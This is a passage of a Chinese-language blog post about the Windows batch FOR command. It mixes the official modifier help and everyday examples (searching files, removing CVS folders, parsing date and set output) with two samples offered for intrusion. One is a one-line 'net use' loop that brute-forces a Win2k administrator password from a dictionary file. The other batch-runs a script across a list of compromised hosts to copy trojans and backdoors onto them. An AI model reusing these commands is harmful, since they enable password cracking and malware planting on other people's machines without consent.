%~zI - 將 %I 擴充到檔案的大小
%~$PATH:I - 查詢列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變

量未被定義,或者沒有找到檔案,此組合鍵會擴充空字串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個檔名和副檔名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查詢列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似

%I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。

我們用net use "password" /u:"administrator"來嘗試這和目標主機進行連線,當成功時記下 密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連線。然後將程式執行結果傳遞給 find命令--
for /f i%% in (dict.txt) do net use "i%%" /u:"administrator"│find ":命令成功完

成">>D:ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會

變得很鬱悶:)。文章開頭就談到使用批處理檔案,可以簡化日常或重複性任務。那麼如何實現呢?呵呵

,看下去你就會明白了。

主要命令也只有一條:(在批處理檔案中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的引數

%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連線,並copy木馬+後門到victim,然後用返回碼

(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容

是什麼樣的了。應該根據%%i %%j %%k表示的物件來排列,一般就是 ip password usernam

下面這文章是我收藏的FOR的經典應用


1. 可以用 /r 引數遍歷整個目錄樹
2. 可以用 /f 引數將文字檔案內容作為迴圈範圍
3. 可以用 /f 引數將某一命令執行結果作為迴圈範圍
4. 可以用 %~ 運算子將檔名分離成檔名、副檔名、磁碟機代號等獨立部分

現分別舉例說明如下:


1. 用 /r 遍歷目錄樹
當用 *.* 或 *.txt 等檔名萬用字元作為 for /r 的迴圈範圍時,可以對當前目錄下所有檔案(包括子目錄裡面的檔案)進行操作。舉個例子,你想在當前目錄的所有txt檔案(包括子目錄)內容中查詢"bluebear"字樣,但由於find本身不能遍歷子目錄,所以我們用for:

for /r . %a in (*.txt) do @find "bluebear" %a

find 前面的 @ 只是讓輸出結果不包括 find 命令本身。這是DOS很早就有的功能。和FOR無關。
當用 . 作為迴圈範圍時,for 只將子目錄的結構(目錄名)作為迴圈範圍,而不包括裡面的檔案。有點象 TREE 命令,不過側重點不同。TREE 的重點是用很漂亮易讀的格式輸出,而FOR的輸出適合一些自動任務,例如,我們都知道用CVS管理的專案中,每個子目錄下都會有一個CVS目錄,有時在軟體發行時我們想把這些CVS目錄全部去掉:

for /r . %a in (.) do @if exist %aCVS rd /s /q %aCVS

先用 if exist 判斷一下,是因為 for 只是機械的對每個目錄進行列舉,如果有些目錄下面沒有CVS也會被執行到。用 if exist 判斷一下比較安全。
這種刪除命令威力太大,請小心使用。最好是在真正執行以上的刪除命令前,將 rd /s /q 換成 @echo 先列出要刪出的目錄,確認無誤後再換回rd /s /q:

for /r . %a in (.) do @if exist %aCVS @echo %aCVS

可能目錄中會多出一層 ".",比如 c:projrelease.CVS ,但不會影響命令的執行效果。
2. 將某一檔案內容或命令執行結果作為迴圈範圍:
假如你有一個檔案 todel.txt,裡面是所有要刪除的檔案列表,現在你想將裡面列出的每個檔案都刪掉。假設這個檔案是每個檔名佔一行,象這樣:

c:tempa1.txt
c:tempa2.txt
c:tempsubdirb3.txt
c:tempsubdirb4.txt

那麼可以用FOR來完成:

for /f %a in (todel.txt) do del %a

這個命令還可以更強大。比如你的 todel.txt 並不是象上面例子那麼幹淨,而是由DIR直接生成,有一些沒用的資訊,比如這樣:

Volume in drive D is DATA
Volume Serial Number is C47C-9908
Directory of D:tmp
09/26/2001 12:50 PM 18,426 alg0925.txt
12/02/2001 04:29 AM 795 bsample.txt
04/11/2002 04:18 AM 2,043 invitation.txt
4 File(s) 25,651 bytes
0 Dir(s) 4,060,700,672 bytes free

for 仍然可以解出其中的檔名並進行操作:

for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a

當然,上面這個命令是在進行刪除,如果你只是想看看哪些檔案將被操作,把DEL換成echo:

for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a

你將看到:

alg0925.txt
bsample.txt
invitation.txt

skip=5表示跳過前5行(就是DIR輸出的頭部資訊),tokens=5表示將每行的第5列作為迴圈值放入%a,正好是檔名。在這裡我加了一個檔案存在判斷,是因為最後一行的"free"剛好也是第5列,目前還想不出好的辦法來濾掉最後兩行,所以檢查一下可保萬無一失。
3. 可以用 /f 引數將某一命令執行結果作為迴圈範圍
非常有用的功能。比如,我們想知道目前的環境變數有哪些名字(我們只要名字,不要值)。可是SET命令的輸出是“名字=值”的格式,現在可以用FOR來只取得名字部分:

FOR /F "delims==" %i IN ('set') DO @echo %i

將看到:

ALLUSERSPROFILE
APPDATA
CLASSPATH
CommonProgramFiles
COMPUTERNAME
ComSpec
dircmd
HOMEDRIVE
......

這裡是將set命令執行的結果拿來作為迴圈範圍。delims==表示用=作為分隔符,由於FOR /F預設是用每行第一個TOKEN,所以可以分離出變數名。如果是想僅列出值:

FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i

tokens=2和前例相同,表示將第二列(由=作為分隔符)作為迴圈值。
再來個更有用的例子:
我們知道 date /t (/t表示不要詢問使用者輸入)的輸出是象這樣的:

Sat 07/13/2002

現在我想分離出日期部分,也就是13:

for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a

實際上把 tokens後面換成1,2,3或4,你將分別得到Sat, 07, 13和2002。注意delims=/後面還有個空格,表示/和空格都是分隔符。由於這個空格delims必須是/f選項的最後一項。
再靈活一點,象本文開頭提到的,將日期用2002-07-13的格式輸出:

for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b

當tokens後跟多個值時,將分別對映到%a, %b, %c等。實際上跟你指定的變數有關,如果你指定的是 %i, 它們就會用%i, %j, %k等。
靈活應用這一點,幾乎沒有做不了的事。
4. 可以用 %~ 運算子將檔名分離成檔名、副檔名、磁碟機代號等獨立部分
這個比較簡單,就是說將迴圈變數的值自動分離成只要檔名,只要副檔名,或只要磁碟機代號等等。
例:要將 c:mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 for /r ,將會是這樣:

g:mp3Archived5-18-01-A游鴻明-下沙游鴻明-01 下沙.mp3
g:mp3Archived5-18-01-A游鴻明-下沙游鴻明-02 21個人.mp3
......
g:mp3Archived5-18-01-A王菲-寓言王菲-阿修羅.mp3
g:mp3Archived5-18-01-A王菲-寓言王菲-彼岸花.mp3
g:mp3Archived5-18-01-A王菲-寓言王菲-不愛我的我不愛.mp3
......

如果我只要歌名(不要路徑和".mp3"):

游鴻明-01 下沙
游鴻明-02 21個人
......
王菲-阿修羅
王菲-彼岸花
王菲-不愛我的我不愛
......

那麼可以用FOR命令:

for /r g:mp3 %a in (*.mp3) do @echo %~na

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/66634/viewspace-1011722/,如需轉載,請註明出處,否則將追究法律責任。

相關文章